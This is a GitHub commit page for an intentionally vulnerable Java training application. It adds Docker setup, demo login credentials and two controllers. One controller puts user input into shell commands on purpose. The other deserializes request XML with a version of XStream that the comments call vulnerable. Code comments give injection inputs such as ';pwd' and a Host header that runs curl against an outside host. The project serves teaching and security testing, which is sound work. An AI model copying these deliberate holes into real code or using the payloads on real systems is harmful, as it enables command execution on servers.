Skip to content

Commit 1e991c1

Browse files
committed
Merge remote-tracking branch 'upstream/master'
2 parents 1f57fae + 301ffa6 commit 1e991c1

File tree

19 files changed

+375
-92
lines changed

19 files changed

+375
-92
lines changed

.gitignore

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,8 @@
22
.DS_Store
33
target/
44
other-vuls/
5-
*.iml
5+
docker/
6+
poc/
7+
src/main/java/org/joychou/test/
8+
*.iml
9+
docker_jdk_build.sh

README.md

Lines changed: 36 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,12 +11,22 @@ This project can also be called Java vulnerability code.
1111

1212
Each vulnerability type code has a security vulnerability by default unless there is no vulnerability. The relevant fix code is in the comments or code. Specifically, you can view each vulnerability code and comments.
1313

14+
[Online demo](http://118.25.15.216:8080)
15+
16+
Login username & password:
17+
18+
```
19+
admin/admin123
20+
joychou/joychou123
21+
```
22+
1423

1524
## Vulnerability Code
1625

1726
Sort by letter.
1827

1928
- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml)
29+
- [CommandInject](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CommandInject.java)
2030
- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java)
2131
- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java)
2232
- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
@@ -35,6 +45,7 @@ Sort by letter.
3545
- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java)
3646
- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java)
3747
- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java)
48+
- [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java)
3849
- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java)
3950

4051

@@ -56,18 +67,42 @@ Sort by letter.
5667

5768
## How to run
5869

59-
The application will use mybatis auto-injection. Please run mysql server ahead of time and configure the mysql server database's name and username/password.
70+
The application will use mybatis auto-injection. Please run mysql server ahead of time and configure the mysql server database's name and username/password except docker environment.
6071

6172
```
6273
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/java_sec_code
6374
spring.datasource.username=root
6475
spring.datasource.password=woshishujukumima
6576
```
6677

78+
- Docker
6779
- IDEA
6880
- Tomcat
6981
- JAR
7082

83+
### Docker
84+
85+
86+
Start docker:
87+
88+
```
89+
docker-compose pull
90+
docker-compose up
91+
```
92+
93+
94+
Stop docker:
95+
96+
```
97+
docker-compose down
98+
```
99+
100+
Docker's environment:
101+
102+
- Java 1.8.0_102
103+
- Mysql 8.0.17
104+
- Tomcat 8.5.11
105+
71106

72107
### IDEA
73108

README_zh.md

Lines changed: 31 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,10 +10,19 @@
1010

1111
每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。
1212

13+
[在线Demo](http://118.25.15.216:8080)
14+
15+
登录用户名密码:
16+
17+
```
18+
admin/admin123
19+
joychou/joychou123
20+
```
1321

1422
## 漏洞代码
1523

1624
- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml)
25+
- [CommandInject](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CommandInject.java)
1726
- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java)
1827
- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java)
1928
- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
@@ -32,6 +41,7 @@
3241
- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java)
3342
- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java)
3443
- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java)
44+
- [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java)
3545
- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java)
3646

3747

@@ -54,19 +64,39 @@
5464

5565
## 如何运行
5666

57-
应用会用到mybatis自动注入,请提前运行mysql服务,并且配置mysql服务的数据库名称和用户名密码。
67+
应用会用到mybatis自动注入,请提前运行mysql服务,并且配置mysql服务的数据库名称和用户名密码(除非是Docker环境)
5868

5969
```
6070
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/java_sec_code
6171
spring.datasource.username=root
6272
spring.datasource.password=woshishujukumima
6373
```
6474

75+
- Docker
6576
- IDEA
6677
- Tomcat
6778
- JAR
6879

80+
### Docker
81+
82+
开启应用:
83+
84+
```
85+
docker-compose pull
86+
docker-compose up
87+
```
88+
89+
关闭应用:
90+
91+
```
92+
docker-compose down
93+
```
94+
95+
Docker环境:
6996

97+
- Java 1.8.0_102
98+
- Mysql 8.0.17
99+
- Tomcat 8.5.11
70100

71101
### IDEA
72102

docker-compose.yml

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
version : '2'
2+
services:
3+
jsc:
4+
image: joychou/jsc:latest
5+
ports:
6+
- "8080:8080"
7+
links:
8+
- j_mysql
9+
10+
j_mysql:
11+
image: joychou/jsc_mysql:latest
12+
ports:
13+
- "3306:3306"

java-sec-code.iml

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -155,9 +155,6 @@
155155
<orderEntry type="library" scope="RUNTIME" name="Maven: com.netflix.netflix-commons:netflix-statistics:0.1.1" level="project" />
156156
<orderEntry type="library" name="Maven: io.reactivex:rxjava:1.1.10" level="project" />
157157
<orderEntry type="library" name="Maven: com.netflix.ribbon:ribbon-eureka:2.2.0" level="project" />
158-
<orderEntry type="library" name="Maven: com.thoughtworks.xstream:xstream:1.4.9" level="project" />
159-
<orderEntry type="library" name="Maven: xmlpull:xmlpull:1.1.3.1" level="project" />
160-
<orderEntry type="library" name="Maven: xpp3:xpp3_min:1.1.4c" level="project" />
161158
<orderEntry type="library" name="Maven: com.fasterxml.uuid:java-uuid-generator:3.1.4" level="project" />
162159
<orderEntry type="library" name="Maven: org.springframework.security:spring-security-web:4.2.12.RELEASE" level="project" />
163160
<orderEntry type="library" name="Maven: aopalliance:aopalliance:1.0" level="project" />
@@ -181,5 +178,8 @@
181178
<orderEntry type="library" name="Maven: org.mybatis:mybatis:3.4.6" level="project" />
182179
<orderEntry type="library" name="Maven: org.mybatis:mybatis-spring:1.3.2" level="project" />
183180
<orderEntry type="library" name="Maven: org.apache.velocity:velocity:1.7" level="project" />
181+
<orderEntry type="library" name="Maven: com.thoughtworks.xstream:xstream:1.4.10" level="project" />
182+
<orderEntry type="library" name="Maven: xmlpull:xmlpull:1.1.3.1" level="project" />
183+
<orderEntry type="library" name="Maven: xpp3:xpp3_min:1.1.4c" level="project" />
184184
</component>
185185
</module>

pom.xml

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
<groupId>sec</groupId>
88
<artifactId>java-sec-code</artifactId>
99
<version>1.0.0</version>
10-
<packaging>war</packaging>
10+
<packaging>jar</packaging>
1111

1212
<properties>
1313
<maven.compiler.source>1.8</maven.compiler.source> <!-- mvn clean package-->
@@ -189,6 +189,13 @@
189189
<version>1.7</version>
190190
</dependency>
191191

192+
<!-- rce -->
193+
<dependency>
194+
<groupId>com.thoughtworks.xstream</groupId>
195+
<artifactId>xstream</artifactId>
196+
<version>1.4.10</version>
197+
</dependency>
198+
192199
</dependencies>
193200

194201
<dependencyManagement>
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
package org.joychou.controller;
2+
3+
import org.joychou.security.SecurityUtil;
4+
import org.joychou.utils.Tools;
5+
import org.slf4j.Logger;
6+
import org.slf4j.LoggerFactory;
7+
import org.springframework.web.bind.annotation.GetMapping;
8+
import org.springframework.web.bind.annotation.RestController;
9+
10+
import javax.servlet.http.HttpServletRequest;
11+
import java.io.IOException;
12+
13+
@RestController
14+
public class CommandInject {
15+
16+
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
17+
18+
/**
19+
* http://localhost:8080/codeinject?filepath=/tmp;pwd
20+
*
21+
* @param filepath filepath
22+
* @return result
23+
*/
24+
@GetMapping("/codeinject")
25+
public static String codeInject(String filepath) throws IOException {
26+
27+
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
28+
ProcessBuilder builder = new ProcessBuilder(cmdList);
29+
builder.redirectErrorStream(true);
30+
Process process = builder.start();
31+
return Tools.convertStreamToString(process.getInputStream());
32+
}
33+
34+
/**
35+
* Host Injection
36+
* host: Host: hacked by joychou;curl ssrf.http.joychou.org
37+
* http://localhost:8080/codeinject/host
38+
*
39+
*/
40+
@GetMapping("/codeinject/host")
41+
public String codeInjectHost(HttpServletRequest request) throws IOException {
42+
43+
String host = request.getHeader("host");
44+
logger.info(host);
45+
String[] cmdList = new String[]{"sh", "-c", "curl " + host};
46+
ProcessBuilder builder = new ProcessBuilder(cmdList);
47+
builder.redirectErrorStream(true);
48+
Process process = builder.start();
49+
return Tools.convertStreamToString(process.getInputStream());
50+
}
51+
52+
@GetMapping("/codeinject/sec")
53+
public static String codeInjectSec(String filepath) throws IOException {
54+
String filterFilePath = SecurityUtil.cmdFilter(filepath);
55+
if (null == filterFilePath) {
56+
return "Bad boy. I got u.";
57+
}
58+
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath};
59+
ProcessBuilder builder = new ProcessBuilder(cmdList);
60+
builder.redirectErrorStream(true);
61+
Process process = builder.start();
62+
return Tools.convertStreamToString(process.getInputStream());
63+
}
64+
}
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
package org.joychou.controller;
2+
3+
import com.thoughtworks.xstream.XStream;
4+
import com.thoughtworks.xstream.io.xml.DomDriver;
5+
import org.joychou.dao.User;
6+
import org.joychou.utils.Tools;
7+
import org.springframework.web.bind.annotation.PostMapping;
8+
import org.springframework.web.bind.annotation.RestController;
9+
10+
import javax.servlet.http.HttpServletRequest;
11+
12+
13+
@RestController
14+
public class XStreamRce {
15+
16+
/**
17+
* Fix method: update xstream to 1.4.11
18+
* Xstream affected version: 1.4.10 or <= 1.4.6
19+
* Set Content-Type: application/xml
20+
*
21+
* @author JoyChou @2019-07-26
22+
*/
23+
@PostMapping("/xstream")
24+
public String parseXml(HttpServletRequest request) throws Exception{
25+
String xml = Tools.getRequestBody(request);
26+
XStream xstream = new XStream(new DomDriver());
27+
xstream.fromXML(xml);
28+
return "xstream";
29+
}
30+
31+
public static void main(String[] args) throws Exception {
32+
User user = new User();
33+
user.setId(0);
34+
user.setUsername("admin");
35+
36+
XStream xstream = new XStream(new DomDriver());
37+
String xml = xstream.toXML(user); // Serialize
38+
System.out.println(xml);
39+
40+
user = (User)xstream.fromXML(xml); // Deserialize
41+
System.out.println(user.getId() + ": " + user.getUsername() );
42+
}
43+
}

0 commit comments

Comments
 (0)